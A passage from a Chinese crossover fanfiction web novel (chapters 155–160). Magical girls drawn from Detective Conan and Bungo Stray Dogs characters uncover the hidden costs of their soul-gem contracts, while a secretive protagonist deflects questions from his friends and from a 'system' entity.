但是不管怎么样，他只知道，自己是绝对不会将同伴交给危险的犯罪分子的…… 那么，之后的事情就只能之后再去考虑了。 松田阵平刚刚下定了决心，伸手去触摸自己衣袖上伪装成袖扣的灵魂宝石…… 忽然间，却发现眼前多了一抹白青色的身影。 ——是朔夜。 熟悉的白发少女出现在他身前，挡在了他与那些犯罪分子之间。 松田阵平顿时松了一口气。 对方这样的救场也不是一次两次了，逐渐让人看到她就下意识地觉得很安心。 而那个组织的人也认出了朔夜的身份。 他们尴尬地举着枪僵在原地，短时间内情绪的波动实在有些太大了，不知道接下来应该怎么办。 朔夜则不在意地只留给他们一个背影。 她目前更关心的是另一件事。 白发少女微低下头将目光锁定在悠衣身上，神情难得显得有些凝重…… 松田阵平紧接着又想起了悠衣生死不明的情况，担忧地出声：“朔夜，她……” 还没等松田说完，朔夜便半蹲下身，拿出了一个粉红色的宝石手链，并认真仔细地给失去意识的悠衣戴好了手链。 松田阵平能感知到其中蕴含的魔力——这就是悠衣真正的灵魂宝石。 可是，它怎么会在朔夜这里？ 朔夜这么做是在干什么？悠衣果然并没有死掉吧…… 就在松田阵平脑海里冒出一系列疑问的时候，他感知到怀里的粉黑发少女动了。 松田阵平忽地一惊，立刻仔细观察悠衣的状况。 不是错觉…… 少女无神的金色眼瞳渐渐有了神采，身体也又开始有了呼吸的起伏，如同无生命的人偶重新活了过来似的…… 没过多久，她便很快恢复了意识。 悠衣就像是刚从梦中被人叫醒般，茫然地支撑身体坐起来，看了看周围的场景。 “松田警官？朔夜？” “……怎么回事？” 她不解地看向松田和朔夜，出声道：“刚才发生了什么事？我这是……突然晕倒了吗？” 虎杖悠仁倒是记得自己是怎么来这个天台、要准备干什么的，可突然眼前视野一变…… 转眼间自己就半躺在地上，朔夜和松田阵平都待在她身边、密切关注着她。 很显然应该是她忽然晕倒了。 但是……晕倒的过程有点不对劲吧，意识失去得太快了，一点征兆也没有。 而且，虎杖悠仁不觉得自己体质差到会忽然莫名其妙地倒下。 松田阵平也不知道该如何为悠衣解答。 甚至于，他根本难以说明刚才具体发生的情况…… ——要怎么告诉悠衣，她刚才失去了脉搏，和死了几乎没什么不同？ 松田阵平下意识看向朔夜。 从刚才朔夜的表现来看，或许她能够为他们解答这一切问题的答案。 “……以后不要再把宝石放在离自己太远的地方了。” 朔夜沉默许久，才说出了这句听起来没什么情感色彩的话。 果然，她是知道什么的。 可是却又显然一直隐瞒着、不愿意说出真相。 “宝石？” 虎杖悠仁愣了愣。 她低头看向自己的手腕，上面戴着粉红色的宝石手链，宝石里蕴藏着熟悉的魔力。 这不是刚被她取下交给犯罪组织的假宝石，而是她先前藏在休息室角落的真正的灵魂宝石。 完全不知道刚才发生了什么的悠衣再次茫然发问：“这宝石……怎么会出现在这里？” 第155章 提到关于灵魂宝石的事情，松田阵平再次默默将目光投向朔夜。 其中含义显而易见。 他在暗示悠衣，这件事与朔夜有关，让她去问朔夜。 然而事到如今，朔夜的话依旧很少，能不解释就不解释：“……我找到的。” 虎杖悠仁一时间有点懵。 感觉自己晕倒再醒来这段过程中好像错过了什么事，搞得她现在完全弄不清楚情况。 见状，无奈的松田阵平只能先替她提问：“刚才悠衣的情况是怎么回事，你应该是知道的吧？” 他想了想，有所察觉地补充了一句：“这与她和宝石离得太远有关？” 朔夜沉默地点了点头。 “为什么？？” 虽然自己的猜测得到了证实，但松田阵平一点都高兴不起来。 如果魔法少女和灵魂宝石之间离得太远，就会无法动用魔法，或者被迫取消变身……松田阵平都还能够理解。 可是，让人呈现出那种死掉了的状态是怎么回事？ 这也太奇怪了吧。 松田阵平忍了又忍，还是忍不住逼问道： “只要与宝石离得太远，就会发生刚才那种情况吗？” “怪不得你和丘比之前总是提醒我们宝石非常重要，必须贴身保管，才能方便随时动用魔法……” “你们早就知道会有这种隐患，却一直隐瞒着所有人？” “到底为什么？你们是不是还有什么更重要的秘密没有说？为什么这么做……” 在发出这一句句疑问的时候，松田阵平又想起了萩原研二复活以来的那些异常。 看来，当年签订契约的时候，丘比不光是掩盖了一些魔法少女本身的情况，估计也在愿望上有所隐瞒。 能实现任何愿望的契约，果然没那么简单。 世界上从来不会有免费的奇迹…… 想到了这些的松田阵平心情非常压抑。 他侧头看向应该和他同样为受害者的悠衣，以为对方此刻的情绪应该与自己差不多。 不过出乎意料的是，悠衣没有困惑地去问朔夜情况，而是正以一种奇怪又恍惚的眼神看着自己。 松田阵平怔了一下，慢半拍地反应了过来。 糟糕…… 刚才发生的事情实在令人情绪波动太大，导致松田阵平都忘了说话时注意自己的言辞。 当初丘比找他签订契约的时候，朔夜有撞见过那时的情景。 估计早就确定了魔法少女松代的真实身份。 但是，悠衣还一点都不清楚这种事情啊。 松田阵平有点不太想回忆自己刚才都说了些什么…… 但是，悠衣显然还是看出来了，极其小声地问道：“松……代？” 松田阵平：“……” 社死来得错不及防。 他完全不想做出回应，但是这种时候却也无法瞒过去了。 虎杖悠仁也恍恍惚惚，觉得自己短时间内遇到了太多奇怪的事情，问题多得都数不过来了。 其中一个问题让其最为在意。 ——已知伏黑和自己都是男性，也都是魔法少女。再加上补充条件，松代其实本身是男性，也是魔法少女。 试问，剩下的那几个魔法少女是男性的可能性有多大？ ……这还真是个令人怀疑人生的问题。 松田阵平糊弄道：“……这种事情先放到一边去吧，现在不是还有比这更重要的事情吗？” 比如，悠衣刚才宛如死掉了的情况到底是怎么一回事？ 松田阵平还非常挂念着这件事，可是当着悠衣的面，他又有些不知道该怎么说出口…… 这时候，松田阵平余光瞥见一旁的白发少女身形悄悄移动，似乎是想在他们注意力不在她这里的时候，趁机赶紧离开。 松田阵平当然不想放过朔夜，对方一看就知晓了很多他们不知道的事情。 “朔夜，你还没有回答我刚才的那些问题。” “……是吗。” 朔夜默了默，忽然抬头看向另一个方向，出声提醒道：“要是再聊下去，那些人就真的要逃走了。” 松田阵平顺着她的目光，也下意识往那个方向看去。 在刚才朔夜出现后的那段时间里，那些原本已经拿着枪离他们很近的犯罪分子，一直没发出什么动静。 他们很识相地尽量减少了自己的存在感，并且慢慢地向后面退去。 要不是那几架直升机已经早早飞走，估计他们现在都已经坐上直升机准备离开了。 不过就算如此，那些犯罪分子也没有放弃逃脱的可能性，如今都悄无声息地远远逃到了楼梯口…… 如果朔夜没有提醒，可能很快就无法在这天台上看到他们的身影了。 松田阵平当然不能随便放这些犯罪分子离开。 不过，他先回头看了眼朔夜。 ……果然就只是一个转头的功夫，白发少女的身形便消失在了原地。 至于吗？？？ 都认识这么久了，还不能把这些事情好好说个清楚吗？ 松田阵平无奈又恼火。 但是他无法在这里变身去追朔夜，甚至现在还有一堆烂摊子等着解决，比如想要逃走的罪犯、以及楼下那些不知道有没有从幻境中醒来的民众。 真是的…… 下次再见到朔夜或是丘比，一定要逮住他们好好问个清楚才行。 …… 远离了松田阵平和虎杖悠仁所在的地方，伊江朔久才无声地松了口气。 但是下一秒，身旁又响起了系统不解的声音： 【朔久，你在隐瞒些什么？】 果然……还是无法逃避这些事情。 伊江朔久微垂下眼帘，复杂的情绪在眼底一闪而过。 不久前，伊江朔久在实时收看关于公开演讲的直播。 从细枝末节中察觉悠衣的态度不对劲、意识到她身上的宝石可能是假的之后，伊江朔久便立刻用朔夜的身份赶来了。 因为事情发生得太过突然，这次他没来得及提前支走系统，所以也就造成了如今的场面…… 白色的小光球飘到伊江朔久面前，继续问道：【你好像知道了很多事情，却不愿意告诉我或是其他人？为什么？】 伊江朔久沉默了片刻。 他知道没办法再维持过去表面上的相安无事了…… 其实就算这次系统不在，如今的局面也迟早会发生，其他魔法少女也终究能够弄清楚一切的真相。 更何况这两年多以来，因为系统一直在劝他契约更多的魔法少女，而他却一直没有松口答应，总是找各种理由推脱。 所以，他和系统早就渐渐无法维持一个虚假的友好关系了。 伊江朔久便直接道：‘我为什么不告诉其他人……你应该知道的吧？’ 系统倒也诚实地回答：【确实能猜到原因。可我还是不能确定，为什么你会知道这些事情？】 伊江朔久看似漫不经心地随口道：‘这种事情又不是特别隐蔽、很难被人发现。在某些意外情况下发现也很正常吧。’ 【……虽然确实如此。】 系统没有被他随意糊弄过去。 【但现在想来，你应该是一开始就知道了所有的真相。】 系统回想起了第一次与伊江朔久见面时的情况。 当时是它主动找上对方的。 一个奇怪的白色小光球，能够发出机械音与人交流，却无法被人触碰到。 甚至，其实也只有伊江朔久能够听到和看到它的存在…… 如果是其他人遇到这样的情况，估计会先被吓一大跳，紧接着怀疑自己是不是精神失常出现了什么幻觉。 但是，第一次见到这个奇怪的白色小光球，被它喊出自己名字的时候，伊江朔久只是短暂地愣了一下。 随即他笑了起来，惊讶又高兴地道：“系统？” 白色小光球都没来得及反应过来。 就听见白发青年絮絮叨叨地说着： “你是系统对吧？我就知道你会来，我都已经等了你四年了……” 从此之后，话题的节奏就几乎一直被伊江朔久引导着，白色小光球则顺水推舟地按照他的意思直接默认了。 他们也便很快定下了重要的契约。 ——伊江朔久需要找到能够成为魔法少女的同伴们，与之签订契约后让他们和魔女使魔战斗，从而拯救世界。 在这个任务完成之后，系统便会实现伊江朔久的任意一个愿望。 …… 现在想起这些，系统察觉到了更多可疑的地方。 已经很明显了不是吗？ ……伊江朔久在利用它。 可是，伊江朔久这么做的原因和目的到底是什么？ 它若是始终无法确定这些，便也就只能一直受限于他。 系统还是试着问了一句：【既然你无法继续完成我的任务，那么也就无法得到任务的报酬、实现愿望了……】 【这样真的没关系吗？你能接受自己原本的身体一直坐着轮椅？】 伊江朔久说道：‘现在说这些还有意思吗？你任务完成的标准太宽泛了，我一开始就没想着能够做到。’ 系统顿了顿，继续问道：【那你为什么要答应下来？】 不过，在问出这个问题的时候，系统忽然也隐约地想通了些什么…… 第156章 再怎么看似荒谬不可能的事情，其背后也必然有一定的内在逻辑。 伊江朔久做的这些事情也是如此。 即使从表面来看，这些并不符合常理，难以让人理解……可是换一个角度，只从最终的结果来看，一切也不算很难推测。 系统突然道：【你认识萩原和织田他们吗？】 伊江朔久问道：‘当然，你难道不清楚吗？’ 系统重新说明了一下自己的问题：【……我是想问，你和他们是不是有什么更深的渊源，在更早之前就见过？】 这些事情中最大的受益者就是这些被复活的人了。 虽然他们也不是毫无影响、生活一切美满，但是对比起付出了许多代价的魔法少女们来说，他们已经算是很好了。 至少他们能够死而复生。 这可是多少人梦寐以求却求之不得的机会。 伊江朔久语气很平淡：‘怎么可能……我是六年前才穿越到这个世界的，而他们是在那个时间段前后死掉的。我怎么有机会和他们认识呢。’ 系统闻言迟疑了。 这确实是个关键问题。 它也清楚伊江朔久之前不是这个世界的，六年前才来到这里。 因为有着充足的证据能够证明，所以系统几乎从来都没有怀疑过这些。 但是，如果真是这样的话，没有多少相处时间和机会的伊江朔久，又该怎么会愿意为了不熟的人而提前谋划做了这么多呢？ ……是它想错了吗？ 系统觉得很麻烦，思绪有点混乱起来。 不过也算因祸得福，它借此灵机一动，突然想到了另一个之前也很让人头疼的魔法少女。 那个魔法少女当时古怪异常、令人难以捉摸的原因是…… 【朔久，】 系统若有所思地问道：【这是你的第几次时间回溯呢？】 ‘……你在说什么？’ 伊江朔久用一副你在开什么玩笑的表情看着它。 系统有点失望。 本来它还期望这么突然一问，能够让伊江朔久诧异慌乱，然后从对方的表情中再判断出一些信息情报来。 但是伊江朔久却显得滴水不漏。 这让系统无法判断对方到底有没有回溯过时间。 应该是有这个可能性的吧…… 系统回忆了下，这两三年来它在伊江朔久身边的所见所闻。 伊江朔久对所有魔法少女都很关照，理解并引导着他们的许愿内容，很多次在背后默默守护着那些人的安全，却不会站出来让其知晓。 有人会愿意为不熟悉的人无偿做这么多吗？ 还是说，因为引导他们签订契约的事情，对他们产生了愧疚的情绪呢…… 系统能忽然想到这点不是没有原因的，它确实觉得伊江朔久似乎对他们抱有类似于愧疚的情绪，但却更加难以理解了。 奇迹和魔法当然不会是免费的。 愿意签订契约的人，从中获得了珍贵的报酬，自然也要付出相应的代价。 这很正常不是吗？ 果然…… 伊江朔久对他们抱有的情感不正常。 这样的感情一般是对于认识很久、关系很好的友人的。 假如他们对于伊江而言、只是之前在网络上认识的纸片人的话，伊江朔久不应该会从一开始起就这么在意重视他们才对。 所以，时间回溯这个可能性还是很有道理的。 系统还是想着试探下对方，希望能够验证一下自己的猜测。 【你在别的时间线和他们关系本来很好吧？】 【然后因为一些事情，魔法少女的真相被揭穿了，或许还导致了什么悲剧的发生……所以你决定回溯时间重新来过、找到最好的结局吗？】 系统边想边说： 【你最多只能回溯到六年之前，那个时候萩原和织田他们已经死了。所以你只能让那些人签订契约，以此来复活他们是吗？】 伊江朔久沉默了一会儿，表情有些复杂。 如果他真的拥有回溯时间的能力就好了…… 那样的话，他便可以有无数次弥补纠错的机会，也不必时时刻刻都在辛苦艰难地演戏，生怕出一丝差错导致满盘皆输。 但凡事有利也有弊。 如果真的能够无数次重新来过，或许他不会像现在这样孤注一掷。 而是会贪心地不断拖延时间，不知足地留恋和重要的人相处的时间，试图一次次重来去找寻只存在于理想中的完美结局…… 到那时他也不清楚，经历了漫长时间的自己最终会变成什么样子。 甚至现如今。 就算非常清楚要达成计划中的结局，自己必须格外小心不出一丝差错，他仍然会很舍不得破坏眼前的局面。 为了能够将这样的时光延续得更久一些…… 这两年来，他尽可能地阻止他们发现真相，希望计划里的最终时刻到来得晚一些、更晚一些。 但是，终究也还是无法再拖延多久了…… 系统仔细观察着伊江朔久的表情，试图从中看出些什么来。 但是，伊江朔久再次开口的第一句却是：‘我之前倒没有发现，系统你还蛮会编故事的嘛。’ 系统问道：【只是故事而已吗？】 ‘不是吗？感觉这个故事你编得很流畅。’ 伊江朔久顿了下，道：‘难道是因为你在别人身上见过类似的事情吗？’ 系统没有回答这个问题，只是坚持说道：【我觉得我说的那个可能性很大，能够解释许多事情。】 ‘我倒是觉得，没办法解释的事情更多吧。’ 伊江朔久举例道：‘最基础的比如，你真的觉得，我拥有能够操纵时间那种超强度的能力吗？’ 系统有些不知道该怎么回答。 这种事情确实很难令人相信…… 一个人在拥有那么强大的综合类魔法之外，还能够拥有操纵时间这种bug一般的能力吗？ 这实在不合常理。 第157章 其实单单只提伊江朔久如今的实力，就已经强得够不可思议了。 虽然他说自己许下的愿望便是希望成为最强的魔法少女，但是这愿望竟然能按照最美好的愿景发展，真的使他拥有了极其强大的实力。 这证明，伊江朔久本身就拥有很高的潜力…… 这非常奇怪。 系统一直很不理解。 伏黑惠、太宰治他们拥有强大的潜力很正常。 因为他们算得上是世界重要的支柱类型人物，背负着许许多多的因果。以他们为重要角色的作品，甚至都可以被某些其他世界所意外观测到。 但是居然就连他们那种程度的潜力，也没有伊江朔久拥有的能量那么夸张离谱。 系统之前也曾无数次猜想过这其中的原因。 此刻，它试着说出了自己的一个猜想：【或许是因为你是意外穿越来到这个世界的，同时沾染了两个世界的因果，才会拥有这些强大的能力？】 ‘……’ 伊江朔久反问道：‘你觉得你说的话合理吗？’ 当然不合理。 仅仅是这样的话，伊江朔久身上不可能聚集如此之多的因果线。 不过，系统没有沮丧，而是很耐心地再次试着找别的可能性： 【难道是和你最本源的那个能力有关吗？那个，天平交换的能力……你当时说，只能用此来提升自身，但在交换完成后，才能知道自己需要付出的代价。】 【所以，你是将什么非常要紧的、与世界息息相关的存在，和天平做了交换吗？】 ‘……那样重要的存在怎么可能和我有关？就算勉强扯上一点关联，我又怎么做得到能够拿那种存在来做交换？’ 伊江朔久无奈道： ‘别想那么多了，这么胡乱猜下去根本没什么意思。’ 系统也知道自己这些猜测有点异想天开，于是道：【那朔久你不能直接告诉我吗？】 ‘这是秘密……不过，以后说不定会告诉你的。’ 伊江朔久微微弯了弯唇。 即使已经和系统直白地说清楚了某些能令人反目成仇的事情，可是他的态度依旧算得上淡然，可能是这些年来时刻磨练演技的功劳吧。 系统怀疑道：【真的吗？】 伊江朔久温和地道：‘或许吧，毕竟其实说起来……我也应该感谢你的帮助才对。’ 系统：【……】 它还真是头一次体会到这种被人利用的感觉呢。 …… 公开演讲出事故的后续事宜，伊江朔久也有在后来了解过。 松田阵平和虎杖悠仁处理得还不错，将麻烦和影响都尽量压缩到最低程度。 也是幸好他们有办法删掉当时天台的监控，而那个组织的人当时也没有听到什么关键的语句，这才方便了悠衣找借口将自己晕倒的事情糊弄过去。 之后就是，松代在群聊里频繁打听丘比和朔夜的行踪。 伊江朔久只好暂时装死，不做任何回应…… 跟松田解释这些事情，比跟系统解释可要更令人不安又心虚得多。而且让对方更晚一点知道这些，也是让他更晚一点面对这无法解决的痛苦。 可是没想到，没过多久，松田阵平却主动找上了门。 不过——找上的是伊江朔久本体所在的侦探事务所。 因为萩原研二目前已经搬出了这里，伊江朔久一个人也无法维持这里的经营，便将其先关门了，反正这里平常来的委托人也不多。 松田阵平突然来敲门的时候，伊江朔久还差点以为是萩原研二回来了。 “松田？” 伊江朔久愣了一下，随后想起来道：“你是想问萩原的情况吧？我还在调查，只知道他目前在组织里，后续的调查还需要一些时间。” 松田阵平说道：“倒也不只是关于萩的事情……能听我聊聊吗？” 伊江朔久顿时有点心虚。 毕竟他知道最近松田一直在找朔夜和丘比，而自己却也一直躲着对方。 但他还是操纵轮椅，给其挪开了门口进来的位置：“进来吧。” 不过，松田阵平倒也没有突然察觉到伊江朔久的身份，他想聊的事情是关于魔法少女和愿望真相的。 自从那天见到了悠衣仿若死掉的模样，这种事情便始终压在松田阵平心头。 可是他无法对其他魔法少女说出口，如今也联系不上萩原研二，所以便想着与知道魔法少女相关的事情、却没有深陷其中的伊江朔久讨论一下。 “伊江，你觉得如今表面上……魔法少女所付出的代价和收益是不是并不相等？” 伊江朔久一听便知道松田想说什么了。 但是…… 他本来就是为了逃避这样的话题，才一直躲着对方的。 第158章 松田阵平把他察觉到的关于魔法少女的异常问题，以及丘比和朔夜的刻意隐瞒，大概给伊江朔久讲述了一遍。 他语气难得这个样子，沉重中带着一丝迷茫。 “……这么看来，这背后的真相肯定是很难令人接受的。” 伊江朔久：“……” 松田阵平猜得很对。 所以伊江朔久才希望松田能够更晚一些再面对这些，但他也知道对方即使清楚要面临怎样的处境，也绝对不会选择逃避。 作为朋友，他只能尽量安慰道：“或许不会有那么糟糕，这两年来不都好好过去了吗？之后可能也不会突然有什么太大的变化。” 松田阵平对此不抱太大希望：“但愿如此吧。” 伊江朔久看似不经意地问道：“松田，这些事情你准备跟其他魔法少女说吗？” 松田阵平想了想，回答道： “我现在不清楚具体情况，暂时还是不跟她们说了。等找到朔夜和丘比，弄清楚一切真相之后，我再找机会把这些都告诉她们。” 伊江朔久勉强松了一口气，却也没有彻底安心。 朔夜又不可能一辈子躲着松代。 就像他不管再怎么勉力想要维持如今的局面，也会有意料之外的情况出现打破平衡……真相终究是无法永远被掩盖下去的。 “对了，说起来……” 松田阵平犹豫了片刻，还是问道：“你是不是认识朔夜？” 这个问题有点突然。 伊江朔久尽量自然地说谎：“不认识，为什么这么问？” 松田阵平解释道：“我意外发现，朔夜暗地里在关注你所在的那个组织……而且我一直觉得你们的样貌似乎有点相似，所以在想，她有没有可能和你是什么亲戚关系？” 伊江朔久哑然。 ……这该怎么回答？ 松田阵平继续道：“伊江，你有记得自己有什么亲戚吗？不管是男的女的都可以说说……” 他现在的真实身份暴露给了悠衣，而悠衣对此虽然非常惊愕诧异，但是倒也没有那么难以接受，更没有用异样的眼神看他…… 松田阵平敏锐地察觉到了不对劲。 所以如今他更加怀疑其他魔法少女的少女身份了。 伊江朔久沉默半晌后选择了故意装傻，慢悠悠地问：“枡山宪三？” 松田阵平：“……” 没记错的话，那位枡山老先生今年已经是71岁了吧？ 如果这样的年龄还要承担魔法少女的工作，那也实在是太辛苦了吧？ 况且，他也接受不了对方是朔夜的这个可能性。 想想就觉得这一定是个恐怖故事。 松田阵平艰难地说：“还是只说年龄适当的人吧，还有其他人吗？尤其是和你发色瞳色一样的人。” 伊江朔久有点犹豫…… 如果说没有的话，松田阵平之后可能还会兜兜转转地怀疑到他的身上。 毕竟，相似的特殊样貌、都与同一个组织有关联……这样的条件有点罕见，他没办法轻易说服对方这只是一个巧合。 所以，随便编一个莫须有的亲戚出来，或许是最好的方法。 这样能转移松田阵平的注意力，也不会使朔夜的真实身份暴露。 然而…… 虞兮正里 伊江朔久却无法下定决心要不要这么做。 因为他真的有一个重要的亲人。 这么多年来，他一直没有去联系对方，顶多只是在远处隐蔽的角落偶尔关注一下她的近况。 就是为了不将对方牵连进危险之中，不给对方如今已经安定下来的生活带去麻烦。 但要是他说出真的有与自己发色瞳色相同、长相相似的亲戚的话……那么符合要求的她或许就会被别人注意到。 就算他说只知道一个这样的男性亲戚。 可是如果始终找不到线索，别人也有可能在注意到她之后，怀疑她是那个男性亲戚相关的亲属…… 好吧，这种的可能性会低上许多。 但是就算只有万分之一的可能性…… “伊江？” 看着伊江朔久沉默了一会儿，松田阵平不解地出声喊了下他。 伊江朔久开口还是决定说：“我刚才努力回忆了一下，不记得有什么和我发色瞳色一样的亲戚。或许只是巧合吧，我应该和朔夜没什么关联。” 松田阵平只能有点失望地说：“这样吗。” 于是，伊江朔久便立刻转移话题：“朔夜暗地里关注组织，有没有可能是因为发现了萩原近来的异常，所以想调查一下原因？” 这种可能性乍一听有点怪。 但是松田阵平仔细一想，却发现似乎确实存在这个可能。 虽然萩原和朔夜的关系一般般，顶多是普通的合作伙伴、偶尔见见面而已。 可朔夜和其他魔法少女刚开始也不熟，朔夜却能在那时就比较关注她们，总是默默在背后保障她们的安全…… 不过，朔夜总是以悲叹之种为借口，平常说话也不好听。 所以她们直到过了很久之后，才渐渐发现朔夜原来会口是心非、习惯性地会隐藏自己的善意行为。 松田阵平点点头说：“如果是这样的话，或许能帮上很多忙……我实在不清楚该怎么应对萩的事情了。” 伊江朔久宽慰道：“不用太担心，我会注意及时帮忙的，不会让萩原在组织里遇到什么危险。” “辛苦了。” 松田阵平叹了口气，说道：“……也不清楚萩到底为什么会回到组织。” “或许是因为组织的逼迫？毕竟组织了解萩原的所有情况，可能会用他的亲人去威胁他。” 伊江朔久这么说着。 可其实他清楚不是这样的。 因为有他本人的插手，组织只要不想得罪他，就没办法将萩原从他这里逼迫回去…… 除非，萩原自己愿意回去。 第159章 ——确实是萩原主动要求回到组织的，没有任何人强迫他。 伊江朔久不想让松田阵平知道这点，就像是不想让松田这么快知道魔法少女的真相一样。 然而同样的却是，对方对此也早就隐约有所察觉了。 松田阵平忽然道：“……我怀疑是我当初许下的愿望出了问题，萩原的死而复生并不是毫无影响的。” 伊江朔久只能问：“为什么这么说？……你发现了什么吗？” 松田阵平沉默了。 他回忆着过去萩原研二的某些异常…… 萩原研二当时就一直想要隐瞒着组织的事情。 如果不是松田暴露了自己魔法少女的身份、并且主动面对面强求对方说清楚的话，萩原研二估计还要接着瞒他很久。 但就算是他们约好了要一起对付组织，萩原之后还是很少说自己那段突然多出来的、曾经被洗脑后听命于组织的记忆。 萩原给出的理由是那段记忆太模糊了。 可是，如今看来…… 或许一开始的萩原没有说谎。 但随着时间的推移，那段记忆应该越来越清晰了，甚至可能连洗脑的作用也在逐渐开始影响着他。 而萩原研二出于某些顾虑，将此隐瞒了下来。 松田阵平又想起，当时有次他跟萩原与伊江聊到、魔法少女与魔女战斗时的安全问题。 萩原那次有些口不择言，提到自己或许自制一些小型的炸.弹和武器提供给他，甚至还说组织里好像也有研究杀伤性更强的炸.弹……* 松田阵平当时只以为是萩原太过担心他，所以才胡乱想这些听起来就很违法的办法。 但是…… 类似的事情还有不少。 一桩桩一件件累积起来，让松田阵平慢慢有了这样的一个猜想，又使这猜想的可能性不断提高。 先前，松田阵平不愿意相信这个糟糕至极的可能，总是下意识地忽略过去。 可如今在萩原主动回到组织之后…… 他又不得不去面对这个问题。 松田阵平迟疑许久后，还是开口了，一边从头整理思绪一边说道： “我许下了让萩原死而复生的愿望。他因此活过来了，而世界线似乎也自行地进行了修正。” “所以，他曾经死亡的过去被抹掉了，他那四年里原本因死亡而一片空白的人生、重新得到了填充。” “在填充的人生里，他被带到那个犯罪组织里，经历了一些实验，被洗脑效忠组织，还……还替组织做了不少违法犯罪的事情。” “虽然当时刚刚活过来的萩原看起来和以前差别不大，没有受到太多影响。但是世界线仍在慢慢修正与因果不符的地方，不断完善世界运行的逻辑……” 伊江朔久心情复杂地听着这些话。 松田阵平看他抿着嘴一言不发，随即立刻道：“这只是我的猜测，可能存在很多问题，我也不能确定就是这样。” 不，松田他猜得很对。 伊江朔久在心里默默叹了口气。 “我知道了，我……会尽量想办法在组织里看着他的。” 伊江朔久说道：“等我们尽快解决掉组织之后，便可以慢慢处理萩原的问题，总有办法能够处理好的。” 松田阵平微微垂下目光，应道：“嗯。” 尽快解决掉组织吗…… 他又想起，之前萩原否决掉了他们针对组织的后续计划，然后没多说些什么，就情绪反常地直接离开了。 虽然知道萩原是受到了洗脑的影响，但他还是很难接受某天会和萩原研二站到敌对面去…… 真的要面临那样的局面吗？ 伊江朔久看着情绪不佳的松田阵平，心里也不怎么好受。 其实，伊江朔久是有能力帮忙解决掉萩原被洗脑的事情的——可以用到他天平交换的能力做到这点。 天平交换只能用于提升自身那样的话，当然是他欺骗系统的。 实际上，只要愿意付出足够多的代价，天平什么都可以交换得了。 但他如今却无法这么做。 最重要的原因是，他能用于交换的已经不多了。要是再强行换下去，很可能就没办法掩盖自己这具身体的问题了…… 而这关乎到最终的关键计划，必须慎之又慎。 还有，人类的意识认知方面不能随意修改，这存在很大的风险，一不小心就会变成间接性操控对方的心理。 伊江朔久曾经就在别人身上见过这样的前车之鉴。 所以，他没办法用天平的能力去帮助萩原，也没办法帮助其他人。 是的…… 伊江朔久也早就注意到了。 受到这种事情困扰的不仅仅是萩原，其他人也同样面临着各自的烦恼…… 或许真的是那样——不符合常理的愿望，总会产生某种歪曲，甚至将希望扭转成绝望也很有可能。 伊江朔久目光有些闪烁。 但他早就下定了决心，是不会让他们的结局走向悲剧的…… …… 虽然公开演讲的事情已经结束好些天了，但它带来的后续影响却一直持续到现在。 虎杖悠仁暂时只把自己莫名晕倒的事情，告诉给了关系最熟的伏黑惠。 他们两个讨论了很久，但因为缺乏关键信息，只将原因大概聚焦在灵魂宝石上面，不确定这到底意味着什么、会有什么影响。 也因为朔夜的提醒，所以他们不好选择随意实验。 于是，松代在四处寻找朔夜和丘比的时候，禅院穗和悠衣也慢慢加入到了寻人的队伍中去。 这使得不明所以的艾尔菲有点茫然，感觉自己被孤立了。 艾尔菲在群里终于忍不住问道： 【你们到处找丘比和朔夜是要干什么？他们是在躲着你们吗？到底发生了什么？】 第160章 然而，艾尔菲发在群里的消息仿若石沉大海，没有一个人给她回复。 艾尔菲：【？？？】 其他人虽然也几乎都有点不好意思，但是这事确实不太好解释。 主要连他们自己都还弄不清具体是怎么回事，所以不想在这种情况下，轻易说什么令人苦恼丧气的话。 还是津岛最先搭理了她：【不要对别人的秘密追根究底了，会让别人感到很烦恼的哦。】 菲茨杰拉德：“……？” 这家伙怎么说得出来这种话？？ 一般不都是津岛最不会拿捏人与人之间相处的分寸吗？平常她总是开玩笑开得很随意，自来熟得一点都不会不好意思。 这种时候她怎么会忽然劝自己别多管闲事？ 菲茨杰拉德突然有了一个猜想。 艾尔菲发消息问道：【津岛，你是不是已经知道原因了？】 津岛一直挺聪明的，或许就是因为她早就猜到了其他魔法少女在做什么，现在才会悠闲得劝自己别去管她们的秘密…… 然而，津岛却不承认：【我怎么可能知道呢，我这几天都没见过她们，从哪里知道什么原因。】 艾尔菲狐疑地问：【真的吗？】 津岛没有正面回答：【我不想参与这种无聊的事情。你要想知道的话，自己去找她们问吧。】 也算是作为同伴相处了两三年，菲茨杰拉德对津岛的性格也有了些了解。 他能看得出来，这家伙肯定是知道原因的，但却不愿意说出来。 真是的…… 这一个两个到底都在干什么。 看这架势，不会是在组团孤立自己一个人吧？？ 太宰治此刻也明白菲茨杰拉德大概在想什么，但还是装糊涂似的不再回复群里的消息。 他当然猜得到这些天来松代和悠衣她们异常的原因。 无非也就是她们发现了真相的蛛丝马迹嘛。 太宰治跟朔夜抱有类似的想法，同样觉得她们还是不知道会比较好，知道的越多反而可能会越痛苦。 黑发青年微微垂下头，细碎的发丝遮住了眼底的神色。 他一下一下地用手指戳着酒杯里漂浮的冰球，冰球与杯壁碰撞发出没什么节奏的清脆响声，像是在演奏一段不成调的旋律…… “这样下去的话，酒就没办法喝了。” 旁边坐着的织田作之助出声提醒道。 “没关系，我今天喝了很多了，已经够了。” 太宰治语气轻快地这么说道，但他还是顺从地停下了闲得慌的玩冰球的动作。 织田作之助闻言有点诧异。 他也刚刚到这个酒吧没多久，不知道太宰治喝了有多少。 不过，只从对方的面容来看，根本不像是喝了很多酒的样子，对方脸上甚至都没有怎么微微泛红。 太宰治笑着说道：“好不容易来一趟，你不喝点吗？” 近年来，织田在写作方面取得了不小的成就，收养的孩子们也都步入青春期了……因此他逐渐变得十分忙碌起来。 而太宰治由于兼有侦探社社员和魔法少女的双重身份，同样也不像以前那样有充足的空闲时间了。 所以，他们两个都能抽出空来、一起聚聚的机会是越来越少了。 至于坂口安吾…… 那家伙一直都是个社畜。 从坂口安吾那宛如焊在脸上的黑眼圈就能看出来，平常他连睡觉的时间都不多。 织田婉拒了：“不了，酒精会影响我写作的思路。况且，最近我还在愁怎么让叛逆期的幸介好好学习，所以不能喝酒再带坏孩子们了。” “好吧。” 太宰治倒也没怎么失望，也可能是他已经猜到了织田会做出的回答。 毕竟，从两年前开始，织田就很少接触酒精了。 他偶尔能够来到Lupin酒吧，只是为了陪太宰治和坂口安吾这两个朋友。 在织田拒绝了喝酒之后，气氛一时间有些僵了下来。 两个人坐在吧台前，目光默默放在不同的地方，各自怀着不同的心思，短时间内谁也没有再开口说话…… 此时此刻的两人，看起来就像是关系不熟、却不得不待在一个酒局的同事一般，似乎连找个话题都显得非常困难。 “嘟嘟——” 